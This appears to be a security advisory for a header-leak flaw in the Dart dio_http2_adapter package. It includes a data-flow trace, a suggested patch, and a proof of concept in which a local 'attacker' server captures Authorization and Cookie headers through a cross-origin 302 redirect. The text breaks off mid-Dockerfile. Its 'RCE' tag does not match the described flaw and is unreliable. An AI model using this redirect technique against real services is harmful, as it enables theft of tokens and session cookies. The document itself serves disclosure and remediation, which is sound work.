返回列表

Dio: Cross-origin redirect leaks sensitive request headers in `dio_http2_adapter`

CVE-2026-103030RCE2026-10-15

漏洞描述

### Summary `dio_http2_adapter` follows HTTP `Location` redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin `302` redirect receives the victim's `Authorization`, `Cookie`, and `Proxy-Authorization` headers verbatim. This vulnerability has a CVSS v3.1 base score of **7.5 (High)** because `followRedirects` is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high. ### Details When `Dio` is configured to use `Http2Adapter`, the adapter's internal `_fetch` method constructs HTTP/2 request headers by unconditionally copying all entries from `options.headers`: ```dart // plugins/http2_adapter/lib/src/http2_adapter.dart:111 headers.addAll( options.headers.entries.map((entry) { ... return Header.ascii(entry.key.toLowerCase(), v); }).toList(), ); ``` On receiving a `3xx` response, the adapter reads the `Location` header and resolves the redirect target URI: ```dart // plugins/http2_adapter/lib/src/http2_adapter.dart:254-263 final url = responseHeaders.value('location'); final uri = Uri.parse(url ?? ''); final String path = resolveRedirectUri(options.uri, uri).toString(); return _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...); ``` `options.copyWith` is called without an explicit `headers` argument; `dio/lib/src/options.dart:629` therefore preserves the full original header map via `headers ?? Map.from(this.headers)`. `resolveRedirectUri` (`http2_adapter.dart:290`) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers — including `Authorization`, `Cookie`, and `Proxy-Authorization` — is forwarded to the new authority with no sanitization. **Data flow (source → sink):** 1. `dio/lib/src/dio_mixin.dart:383` — public `Dio.request<T>(String path, ...)` entry point. 2. `dio/lib/src/options.dart:331` — base and per-request headers merged into `RequestOptions`. 3. `dio/lib/src/dio_mixin.dart:596` — `httpClientAdapter.fetch(reqOpt, ...)` dispatches to `Http2Adapter`. 4. `plugins/http2_adapter/lib/src/http2_adapter.dart:254` — `Location` header is read from the network response (attacker-controlled source). 5. `plugins/http2_adapter/lib/src/http2_adapter.dart:258` — redirect target URI resolved; cross-origin check absent. 6. `plugins/http2_adapter/lib/src/http2_adapter.dart:260` — `options.copyWith(path: path, ...)` called without `headers` override. 7. `dio/lib/src/options.dart:629` — `copyWith` preserves `Map.from(this.headers)` — all sensitive headers retained. 8. `plugins/http2_adapter/lib/src/http2_adapter.dart:111` — preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink). **Suggested patch** — strip sensitive headers before following a cross-origin redirect: ```diff --- a/plugins/http2_adapter/lib/src/http2_adapter.dart +++ b/plugins/http2_adapter/lib/src/http2_adapter.dart + static const _sensitiveRedirectHeaders = { + 'authorization', + 'cookie', + 'proxy-authorization', + }; + - final String path = resolveRedirectUri(options.uri, uri).toString(); + final redirectUri = resolveRedirectUri(options.uri, uri); + final redirectOptions = options.copyWith( + path: redirectUri.toString(), + maxRedirects: --options.maxRedirects, + ); + if (!_sameOrigin(options.uri, redirectUri)) { + redirectOptions.headers.removeWhere( + (name, _) => _sensitiveRedirectHeaders.contains(name.toLowerCase()), + ); + } return _fetch( - options.copyWith(path: path, maxRedirects: --options.maxRedirects), + redirectOptions, list != null ? Stream.fromIterable(list) : null, cancelFuture, redirects, ); + + static bool _sameOrigin(Uri a, Uri b) => + a.scheme == b.scheme && a.host == b.host && a.port == b.port; ``` ### PoC The following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required). **Prerequisites:** - Docker installed and accessible. - Repository checked out at the path used as the build context. **Build and run:** ```bash # From the repository root (github_web_81_cfug__dio/) docker build -f vuln-001/Dockerfile -t dio-vuln-001:poc . docker run --rm --network none dio-vuln-001:poc ``` **What the container does:** 1. Starts an *origin* h2c server on `127.0.0.1:18081` that immediately returns `302 Location: http://127.0.0.1:18082/capture`. 2. Starts an *attacker* h2c server on `127.0.0.1:18082` that logs every received header. 3. Executes the following Dart exploit: ```dart final dio = Dio() ..httpClientAdapter = Http2Adapter(ConnectionManager()); await dio.get( 'http://127.0.0.1:18081/start', options: Options(headers: { 'Authorization': 'Bearer SECRET_TOKEN_12345', 'Cookie': 'sid=SECRET_SESSION_ABC', 'x-secret': 'internal-secret-value', }), ); ``` **Expected output (confirms vulnerability):** ``` RESULT=VULN_CONFIRMED LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345 LEAKED_COOKIE=sid=SECRET_SESSION_ABC [ATTACKER] Received headers: [ATTACKER] authorization: Bearer SECRET_TOKEN_12345 [ATTACKER] cookie: sid=SECRET_SESSION_ABC [ATTACKER] x-secret: internal-secret-value ``` The attacker server at `127.0.0.1:18082` receives all three sensitive headers, demonstrating that `Http2Adapter` forwards them verbatim across the cross-origin redirect with no stripping. ### Impact This is a **sensitive information disclosure** vulnerability. Any application that: 1. configures `Dio` with `Http2Adapter`, and 2. sends requests carrying `Authorization`, `Cookie`, or `Proxy-Authorization` headers, is affected. Because `followRedirects` defaults to `true` and `maxRedirects` defaults to `5`, no additional configuration is needed to trigger the bug. An attacker who controls — or can compromise — any HTTP server that the victim application contacts can issue a `302` redirect to an attacker-owned server and thereby capture the victim's bearer tokens, session cookies, or proxy credentials. The attack requires no prior authentication and is executable over the network with low complexity. Stolen credentials may then be used to impersonate the victim against the original service or any other service that accepts the same token. Affected parties include server-side Dart/Flutter applications and CLI tools that make authenticated HTTP/2 requests through `dio_http2_adapter`. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001 dynamic reproduction # Vulnerability: Cross-origin redirect leaks sensitive request headers in dio_http2_adapter # # Build context: the parent directory (github_web_81_cfug__dio/) # docker build -f vuln-001/Dockerfile -t dio-vuln-001 . # # What this image does: # 1. Installs Dart SDK (stable) # 2. Copies the vulnerable repository source (dio + dio_http2_adapter) # 3. Creates a PoC Dart project using path dependencies to the local source # 4. Resolves pub packages # 5. On container run: executes the exploit script that starts two local # h2c servers (origin + attacker) and makes a redirected request to prove # that Authorization/Cookie headers are forwarded to the cross-origin target FROM dart:stable AS builder # ── Repository source ────────────────────────────────────────────────────────── # Copy only the packages we need to keep image small COPY repo/dio/ /repo/dio/ COPY repo/plugins/http2_adapter/ /repo/plugins/http2_adapter/ # ── PoC project setup ────────────────────────────────────────────────────────── WORKDIR /poc COPY vuln-001/poc_pubspec.yaml pubspec.yaml COPY vuln-001/poc_exploit.dart lib/main.dart # Resolve dependencies (requires network access to pub.dev for http2, meta, etc.) RUN dart pub get #

查看原文